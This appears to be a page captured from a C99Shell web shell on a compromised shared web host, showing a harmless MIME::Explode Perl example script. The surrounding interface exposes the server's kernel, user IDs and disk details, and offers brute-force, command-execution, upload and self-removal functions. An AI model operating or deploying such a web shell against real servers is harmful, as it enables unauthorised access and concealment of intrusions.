!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/libmime-explode-perl/examples/   drwxr-xr-x
Free 671.36 GB of 879.6 GB (76.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     explode.pl (1.97 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

use strict;
use MIME::Explode;
use Benchmark;

my $start = new Benchmark;

my $mail = shift(@ARGV) || die("no args");
die("Unable to open file \"$mail\"") unless(-e $mail);

my $decode_subject = 1;
my $tmp_dir = "tmp";

my $output = "file.tmp";
my $explode = MIME::Explode->new(
    output_dir         => $tmp_dir,
    mkdir              => 0755,
    decode_subject     => $decode_subject,
    check_content_type => 1,
    content_types      => ["image/gif", "image/jpeg", "image/bmp"],
    types_action       => "exclude",
);

open(MAIL, "<$mail") or die("Couldn't open $mail for reading: $!\n");
open(OUTPUT, ">$output") or die("Couldn't open $output for writing: $!\n");
#my $headers = $explode->parse(\*MAIL);
my $headers = $explode->parse(\*MAIL, \*OUTPUT);
close(OUTPUT);
close(MAIL);

print "Number of messages: ", $explode->nmsgs, "\n";

for my $part (sort{ $a cmp $b } keys(%{$headers})) {
    print "---------------------------\n";
    for my $k (keys(%{$headers->{$part}})) {
        if(ref($headers->{$part}->{$k}) eq "ARRAY") {
            for my $i (0 .. $#{$headers->{$part}->{$k}}) {
                print "$part => $k => $i => ", $headers->{$part}->{$k}->[$i], "\n";
            }
        } elsif(ref($headers->{$part}->{$k}) eq "HASH") {
            for my $ks (keys(%{$headers->{$part}->{$k}})) {
                if(ref($headers->{$part}->{$k}->{$ks}) eq "ARRAY") {
                    print "$part => $k => $ks => ", join(($ks eq "charset") ? " " : "", @{$headers->{$part}->{$k}->{$ks}}), "\n";
                } else {
                    print "$part => $k => $ks => ", $headers->{$part}->{$k}->{$ks}, "\n";
                }
            }
        } else {
            print "$part => $k => ", $headers->{$part}->{$k}, "\n";
        }
    }
}

my $finish = new Benchmark;
my $diff = timediff($finish, $start);
my $strtime = timestr($diff);
print STDERR "\n\nTime: $strtime\n";

print "\n";
                                                                                
print "Clean the directory \"$tmp_dir\"? [y/n]:";
my $clean = <>;
chomp $clean;

if($clean eq "y") {
    if(my $e = $explode->clean_all()) {
        print "Error: $e\n";
    }
}
exit(0);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0118 ]--